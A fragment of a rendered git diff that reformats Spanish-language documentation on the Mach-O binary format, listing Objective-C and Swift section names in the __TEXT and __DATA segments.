||||
- **Tabla de símbolos**: Que contiene información sobre la función externa utilizada por el binario
|
||||
- También podría contener funciones internas, nombres de variables y más.
|
||||
|
||||
Para verificarlo, puedes usar la herramienta [**Mach-O View**](https://sourceforge.net/projects/machoview/):
|
||||
|
||||
|
@ -392,20 +393,20 @@ size -m /bin/ls
|
|||
|
||||
En el segmento `__TEXT` (r-x):
|
||||
|
||||
* `__objc_classname`: Nombres de las clases (cadenas de texto)
|
||||
* `__objc_methname`: Nombres de los métodos (cadenas de texto)
|
||||
* `__objc_methtype`: Tipos de los métodos (cadenas de texto)
|
||||
- `__objc_classname`: Nombres de clases (cadenas)
|
||||
- `__objc_methname`: Nombres de métodos (cadenas)
|
||||
- `__objc_methtype`: Tipos de métodos (cadenas)
|
||||
|
||||
En el segmento `__DATA` (rw-):
|
||||
|
||||
* `__objc_classlist`: Punteros a todas las clases de Objetive-C
|
||||
* `__objc_nlclslist`: Punteros a clases de Objetive-C no perezosas
|
||||
* `__objc_catlist`: Puntero a Categorías
|
||||
* `__objc_nlcatlist`: Puntero a Categorías no perezosas
|
||||
* `__objc_protolist`: Lista de protocolos
|
||||
* `__objc_const`: Datos constantes
|
||||
* `__objc_imageinfo`, `__objc_selrefs`, `objc__protorefs`...
|
||||
- `__objc_classlist`: Punteros a todas las clases de Objetive-C
|
||||
- `__objc_nlclslist`: Punteros a clases de Objetive-C no perezosas
|
||||
- `__objc_catlist`: Puntero a Categorías
|
||||
- `__objc_nlcatlist`: Puntero a Categorías no perezosas
|
||||
- `__objc_protolist`: Lista de protocolos
|
||||
- `__objc_const`: Datos constantes
|
||||
- `__objc_imageinfo`, `__objc_selrefs`, `objc__protorefs`...
|
||||
|
||||
## Swift
|
||||
|
||||
* `_swift_typeref`, `_swift3_capture`, `_swift3_assocty`, `_swift3_types, _swift3_proto`, `_swift3_fieldmd`, `_swift3_builtin`, `_swift3_reflstr`
|
||||
- `_swift_typeref`, `_swift3_capture`, `_swift3_assocty`, `_swift3_types, _swift3_proto`, `_swift3_fieldmd`, `_swift3_builtin`, `_swift3_reflstr`
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue